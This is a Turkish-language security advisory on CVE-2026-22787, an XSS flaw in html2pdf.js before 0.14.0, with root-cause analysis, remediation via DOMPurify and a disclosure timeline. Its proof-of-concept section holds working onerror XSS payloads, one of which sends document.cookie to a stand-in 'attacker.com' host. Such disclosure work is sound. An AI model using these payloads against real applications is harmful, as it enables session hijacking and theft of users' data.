html2pdf.js kütüphanesinde bir Cross-Site Scripting (XSS) zafiyeti tespit ettim. Zafiyet, sanitize edilmemiş kullanıcı input’larının doğrudan innerHTML property’sine atanması nedeniyle ortaya çıkıyor. Bu, saldırganların uygulama bağlamında keyfi JavaScript kodu çalıştırmasına, potansiyel olarak session hijacking, veri hırsızlığı ve yetkisiz aksiyonlara yol açabilir.

Zafiyet Özeti

CVE-2026-22787 olarak kayıtlı bu zafiyet, html2pdf.js kütüphanesinin < 0.14.0 versiyonlarını etkiler. Zafiyet, kütüphanenin string source kullanıldığında yeterince sanitize edilmemiş input’ları DOM’a eklemesi nedeniyle ortaya çıkar.

Etkilenen versiyonlar: < 0.14.0
Düzeltilmiş versiyon: 0.14.0
CVSS Skoru: 8.7 (High)

Zafiyet Detayları

Etkilenen Bileşen

Dosya: src/worker.js
Satır: 71
Link: GitHub - worker.js#L71
Fonksiyon: Worker.prototype.from()

Zafiyetli Kod

case 'string':  return this.set({ src: createElement('div', {innerHTML: src}) });

Root Cause

html2pdf() bir string parametre ile çağrıldığında, kütüphane kullanıcı kontrolündeki input’u herhangi bir sanitization olmadan yeni oluşturulan bir div elementinin innerHTML property’sine doğrudan atar. Bu, Worker sınıfının from() metodunda gerçekleşir.

Sorun:

  • Kullanıcı input’u doğrudan innerHTML‘e atanıyor
  • Hiçbir sanitization yapılmıyor
  • Event handler’lar ve diğer injection vector’ları çalışıyor

Saldırı Vektörü

  1. Saldırgan, JavaScript payload içeren kötü amaçlı HTML string sağlar
  2. html2pdf.js bu string’i innerHTML‘e atar (satır 71, worker.js)
  3. Element DOM’a eklenir (satır 125, worker.js)
  4. Element DOM’a eklendiğinde browser JavaScript’i çalıştırır
  5. XSS payload kurbanın browser bağlamında çalışır

Kısmi Mitigasyon

Kütüphane, src/utils.js (satır 20-23) içinde <script> tag’lerini kaldıran kısmi bir mitigasyon içerir:

if (opt.innerHTML) {
    el.innerHTML = opt.innerHTML;
    var scripts = el.getElementsByTagName('script');
    for (var i = scripts.length; i-- > 0; null) {
        scripts[i].parentNode.removeChild(scripts[i]);
    }
}

Ancak, bu mitigasyon yetersizdir çünkü sadece <script> tag’lerini kaldırır ve şunlara karşı koruma sağlamaz:

  • Event handler’lar (onerror, onclick, onload, vb.)
  • Embedded script içeren SVG
  • JavaScript URL’leri içeren <iframe>
  • Diğer HTML injection vector’ları

Proof of Concept

PoC 1: Temel XSS (Alert)

Payload:

<img src=x onerror="alert(document.cookie)">

Exploitation Kodu:

const maliciousHTML = '<img src=x onerror="alert(document.cookie)">';

html2pdf()
    .from(maliciousHTML)
    .set({
        margin: 1,
        filename: 'xss-test.pdf',
        image: { type: 'jpeg', quality: 0.98 },
        html2canvas: { scale: 2 },
        jsPDF: { unit: 'in', format: 'letter', orientation: 'portrait' }
    })
    .save();

Sonuç: PDF generation süreci başladığında bir alert dialog görünür, XSS execution’ı doğrular.

Daha gerçekçi bir saldırı senaryosu:

const maliciousHTML = '<img src=x onerror="fetch(\'https://attacker.com/steal?cookie=\'+document.cookie)">';

html2pdf()
    .from(maliciousHTML)
    .save();

Bu payload, kurbanın cookie’lerini saldırganın sunucusuna gönderir.

Teknik Analiz

Kod Akışı

  1. Input Reception (src/index.js:20)
    return worker.from(src).save();
    
  2. String Processing (src/worker.js:71)
    case 'string':  return this.set({ src: createElement('div', {innerHTML: src}) });
    
  3. DOM Injection (src/worker.js:125)
    document.body.appendChild(this.prop.overlay);
    
  4. XSS Execution
    • innerHTML set edildiğinde, browser HTML’i parse eder
    • Event handler’lar (örneğin, onerror) kaydedilir
    • Element DOM’a eklendiğinde, event’ler tetiklenir
    • JavaScript sayfa bağlamında çalışır

Mevcut Mitigasyonun Neden Başarısız Olduğu

src/utils.js‘deki script tag kaldırma yetersizdir çünkü:

  1. Event Handler Bypass: onerror, onclick, onload gibi event handler’lar script tag değildir
  2. SVG Vector’ları: SVG elementleri embedded JavaScript içerebilir
  3. Iframe Vector’ları: JavaScript URL’leri içeren iframe’ler kod çalıştırabilir
  4. Timing: Script kaldırma innerHTML atamasından sonra gerçekleşir, ancak event handler’lar zaten kaydedilmiştir

Browser Davranışı

Modern browser’lar şu durumlarda JavaScript çalıştırır:

  • innerHTML event handler içeren HTML ile set edildiğinde
  • Event handler içeren elementler DOM’a eklendiğinde
  • Bu, html2canvas’ın elementi işlemesinden önce gerçekleşir

Etki Değerlendirmesi

Bu zafiyet, html2pdf.js kullanan uygulamalarda ciddi güvenlik riskleri oluşturur:

Potansiyel Saldırı Senaryoları

  1. Session Hijacking: Cookie’lerin çalınması
  2. Veri Hırsızlığı: Sayfa içeriğinin saldırgana gönderilmesi
  3. Keylogging: Kullanıcı input’larının yakalanması
  4. Phishing: Sahte form’ların enjekte edilmesi
  5. CSRF: Yetkisiz aksiyonların tetiklenmesi

Gerçek Dünya Etkisi

  • E-ticaret siteleri: PDF invoice generation sırasında kullanıcı verileri risk altında
  • Raporlama sistemleri: Kullanıcı input’larından PDF oluşturma sırasında zafiyet
  • Form processing: Kullanıcı form verilerinden PDF oluşturma sırasında risk

Remediation

Çözüm: DOMPurify ile Sanitization

Her zaman kullanıcı input’unu sanitize edin:

const DOMPurify = require('dompurify');
const sanitizedHTML = DOMPurify.sanitize(userInput);
html2pdf().from(sanitizedHTML).save();

Güncelleme

html2pdf.js’in 0.14.0 versiyonuna güncelleyin. Bu versiyon, text source’ları sanitize etmek için DOMPurify kullanır.

Güncelleme komutu:

npm update html2pdf.js

Workaround

Eski versiyonları kullananlar için, html2pdf.js’e geçmeden önce tüm text input’ları güvenli bir şekilde sanitize etmelidir.

Örnek workaround:

import DOMPurify from 'dompurify';

function safeHtml2Pdf(html) {
    const sanitized = DOMPurify.sanitize(html);
    return html2pdf().from(sanitized).save();
}

Disclosure Timeline

  • İlk Rapor: GitHub Security Advisory’ye bildirildi
  • CVE Ataması: CVE-2026-22787
  • Düzeltme: html2pdf.js@0.14.0
  • GitHub Advisory: GHSA-w8x4-x68c-m6fc

Sonuç

CVE-2026-22787, html2pdf.js kütüphanesinde ciddi bir XSS zafiyetidir. Zafiyet, kullanıcı input’larının sanitize edilmeden innerHTML‘e atanması nedeniyle ortaya çıkar. Kütüphanenin kısmi mitigasyonu (<script> tag kaldırma) yetersizdir çünkü event handler’lar ve diğer injection vector’larına karşı koruma sağlamaz.

Ana çıkarımlar:

  • Kullanıcı input’ları her zaman sanitize edilmelidir
  • innerHTML kullanımı güvenlik riski oluşturur
  • Kısmi mitigasyonlar yetersiz olabilir
  • DOMPurify gibi sanitization kütüphaneleri kullanılmalıdır
  • Kütüphaneleri güncel tutmak kritiktir

Bu zafiyet, web uygulamalarında kullanıcı input’larının güvenli bir şekilde işlenmesinin ne kadar önemli olduğunu gösterir. Geliştiriciler, kullanıcı verilerini DOM’a eklemeden önce her zaman sanitization yapmalıdır.

İlgili İçerik

Kaynaklar: